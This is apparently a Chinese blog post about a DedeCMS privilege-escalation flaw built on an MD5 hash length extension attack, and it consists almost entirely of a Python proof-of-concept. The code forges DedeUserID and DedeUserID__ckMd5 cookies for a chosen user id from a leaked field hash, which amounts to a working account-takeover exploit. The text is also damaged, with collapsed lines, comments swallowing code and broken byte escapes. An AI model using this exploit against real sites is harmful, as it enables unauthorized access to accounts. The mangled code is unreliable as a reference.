记DedeCMS一处由哈希长度拓展攻击引起的越权漏洞

import sys
import hashlib
import urllib #此POC只需修改以下两个参数 userid = '1' #此变量就是要伪造的用户id dede_fieldshash = '8b5d1a6dd0899aff8658b667a0923765' #该值从article_add.php的源码中获取 def genMsgLengthDescriptor(msg_bitsLenth):
return __import__("struct").pack(">Q",msg_bitsLenth).encode("hex")

def reverse_hex_8bytes(hex_str):
hex_str = "%016x"%int(hex_str,16)
assert len(hex_str)==16
return __import__("struct").pack("<Q",int(hex_str,16)).encode("hex")

def reverse_hex_4bytes(hex_str):
hex_str = "%08x"%int(hex_str,16)
assert len(hex_str)==8
return __import__("struct").pack("<L",int(hex_str,16)).encode("hex")

def deal_rawInputMsg(input_msg):
ascii_list = [x.encode("hex") for x in input_msg]
length_msg_bytes = len(ascii_list)
length_msg_bits = len(ascii_list)*8
ascii_list.append('80')
while (len(ascii_list)*8+64)%512 != 0:
ascii_list.append('00')
ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
return "".join(ascii_list)

def getM16(hex_str,operatingBlockNum):
M = [int(reverse_hex_4bytes(hex_str[i:(i+8)]),16) for i in xrange(128*(operatingBlockNum-1),128*operatingBlockNum,8)]
return M

def T(i):
result = (int(4294967296*abs(__import__("math").sin(i))))&0xffffffff
return result

F = lambda x,y,z:((x&y)|((~x)&z))
G = lambda x,y,z:((x&z)|(y&(~z)))
H = lambda x,y,z:(x^y^z)
I = lambda x,y,z:(y^(x|(~z)))
RL = L = lambda x,n:(((x<<n)|(x>>(32-n)))&(0xffffffff))

def FF(a, b, c, d, x, s, ac):
a = (a+F ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def GG(a, b, c, d, x, s, ac):
a = (a+G ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def HH(a, b, c, d, x, s, ac):
a = (a+H ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def II(a, b, c, d, x, s, ac):
a = (a+I ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a

def show_md5(A,B,C,D):
return "".join( [  "".join(__import__("re").findall(r"..","%08x"%i)[::-1]) for i in (A,B,C,D)  ]  )

def run_md5(A=0x67452301,B=0xefcdab89,C=0x98badcfe,D=0x10325476,readyMsg=""):

a = A
b = B
c = C
d = D

for i in xrange(0,len(readyMsg)/128):
M = getM16(readyMsg,i+1)
for i in xrange(16):
exec "M"+str(i)+"=M["+str(i)+"]" #First round a=FF(a,b,c,d,M0,7,0xd76aa478L)
d=FF(d,a,b,c,M1,12,0xe8c7b756L)
c=FF(c,d,a,b,M2,17,0x242070dbL)
b=FF(b,c,d,a,M3,22,0xc1bdceeeL)
a=FF(a,b,c,d,M4,7,0xf57c0fafL)
d=FF(d,a,b,c,M5,12,0x4787c62aL)
c=FF(c,d,a,b,M6,17,0xa8304613L)
b=FF(b,c,d,a,M7,22,0xfd469501L)
a=FF(a,b,c,d,M8,7,0x698098d8L)
d=FF(d,a,b,c,M9,12,0x8b44f7afL)
c=FF(c,d,a,b,M10,17,0xffff5bb1L)
b=FF(b,c,d,a,M11,22,0x895cd7beL)
a=FF(a,b,c,d,M12,7,0x6b901122L)
d=FF(d,a,b,c,M13,12,0xfd987193L)
c=FF(c,d,a,b,M14,17,0xa679438eL)
b=FF(b,c,d,a,M15,22,0x49b40821L) #Second round a=GG(a,b,c,d,M1,5,0xf61e2562L)
d=GG(d,a,b,c,M6,9,0xc040b340L)
c=GG(c,d,a,b,M11,14,0x265e5a51L)
b=GG(b,c,d,a,M0,20,0xe9b6c7aaL)
a=GG(a,b,c,d,M5,5,0xd62f105dL)
d=GG(d,a,b,c,M10,9,0x02441453L)
c=GG(c,d,a,b,M15,14,0xd8a1e681L)
b=GG(b,c,d,a,M4,20,0xe7d3fbc8L)
a=GG(a,b,c,d,M9,5,0x21e1cde6L)
d=GG(d,a,b,c,M14,9,0xc33707d6L)
c=GG(c,d,a,b,M3,14,0xf4d50d87L)
b=GG(b,c,d,a,M8,20,0x455a14edL)
a=GG(a,b,c,d,M13,5,0xa9e3e905L)
d=GG(d,a,b,c,M2,9,0xfcefa3f8L)
c=GG(c,d,a,b,M7,14,0x676f02d9L)
b=GG(b,c,d,a,M12,20,0x8d2a4c8aL) #Third round a=HH(a,b,c,d,M5,4,0xfffa3942L)
d=HH(d,a,b,c,M8,11,0x8771f681L)
c=HH(c,d,a,b,M11,16,0x6d9d6122L)
b=HH(b,c,d,a,M14,23,0xfde5380c)
a=HH(a,b,c,d,M1,4,0xa4beea44L)
d=HH(d,a,b,c,M4,11,0x4bdecfa9L)
c=HH(c,d,a,b,M7,16,0xf6bb4b60L)
b=HH(b,c,d,a,M10,23,0xbebfbc70L)
a=HH(a,b,c,d,M13,4,0x289b7ec6L)
d=HH(d,a,b,c,M0,11,0xeaa127faL)
c=HH(c,d,a,b,M3,16,0xd4ef3085L)
b=HH(b,c,d,a,M6,23,0x04881d05L)
a=HH(a,b,c,d,M9,4,0xd9d4d039L)
d=HH(d,a,b,c,M12,11,0xe6db99e5L)
c=HH(c,d,a,b,M15,16,0x1fa27cf8L)
b=HH(b,c,d,a,M2,23,0xc4ac5665L) #Fourth round a=II(a,b,c,d,M0,6,0xf4292244L)
d=II(d,a,b,c,M7,10,0x432aff97L)
c=II(c,d,a,b,M14,15,0xab9423a7L)
b=II(b,c,d,a,M5,21,0xfc93a039L)
a=II(a,b,c,d,M12,6,0x655b59c3L)
d=II(d,a,b,c,M3,10,0x8f0ccc92L)
c=II(c,d,a,b,M10,15,0xffeff47dL)
b=II(b,c,d,a,M1,21,0x85845dd1L)
a=II(a,b,c,d,M8,6,0x6fa87e4fL)
d=II(d,a,b,c,M15,10,0xfe2ce6e0L)
c=II(c,d,a,b,M6,15,0xa3014314L)
b=II(b,c,d,a,M13,21,0x4e0811a1L)
a=II(a,b,c,d,M4,6,0xf7537e82L)
d=II(d,a,b,c,M11,10,0xbd3af235L)
c=II(c,d,a,b,M2,15,0x2ad7d2bbL)
b=II(b,c,d,a,M9,21,0xeb86d391L)

A += a
B += b
C += c
D += d

A = A&0xffffffff
B = B&0xffffffff
C = C&0xffffffff
D = D&0xffffffff

a = A
b = B
c = C
d = D

return show_md5(a,b,c,d)

cfg_cookie_encode_md5 = dede_fieldshash

s1 = cfg_cookie_encode_md5[0:8]
s1 = '0x' + s1[6:8] + s1[4:6] + s1[2:4] + s1[0:2]
s2 = cfg_cookie_encode_md5[8:16]
s2 = '0x' + s2[6:8] + s2[4:6] + s2[2:4] + s2[0:2]
s3 = cfg_cookie_encode_md5[16:24]
s3 = '0x' + s3[6:8] + s3[4:6] + s3[2:4] + s3[0:2]
s4 = cfg_cookie_encode_md5[24:36]
s4 = '0x' + s4[6:8] + s4[4:6] + s4[2:4] + s4[0:2]
exec('s1=%s' %s1)
exec('s2=%s' %s2)
exec('s3=%s' %s3)
exec('s4=%s' %s4) #这里的循环产生5种可能的DedeUserID，原因是$cfg_cookie_encode的长度无法预测 for origin_length in range(28,33):
if origin_length != 32:
length = chr(origin_length*8)
secret_admin = 'a'*origin_length+'x80'+'x00'*(64-origin_length-1-8)+length+'x00'*7 + userid else: secret_admin = 'a'*origin_length+'x80'+'x00'*(64-origin_length-1-8)+'x00x01'+'x00'*6 + userid

r = deal_rawInputMsg(secret_admin)

inp = r[len(r)/2:]
ans = ''
cnt = 0

for i in r[:len(r)/2]:
if(cnt%2 == 0):
ans += '%'
ans += i
cnt += 1

print "DedeUserID: "+ans[(origin_length*3):]+userid
print

print "DedeUserID__ckMd5: "+run_md5(s1,s2,s3,s4,inp)[0:16]

PS

关于哈希长度扩展攻击的工具，可参考pcat的两篇博文：

http://www.cnblogs.com/pcat/p/7668989.html

http://www.cnblogs.com/pcat/p/5478509.html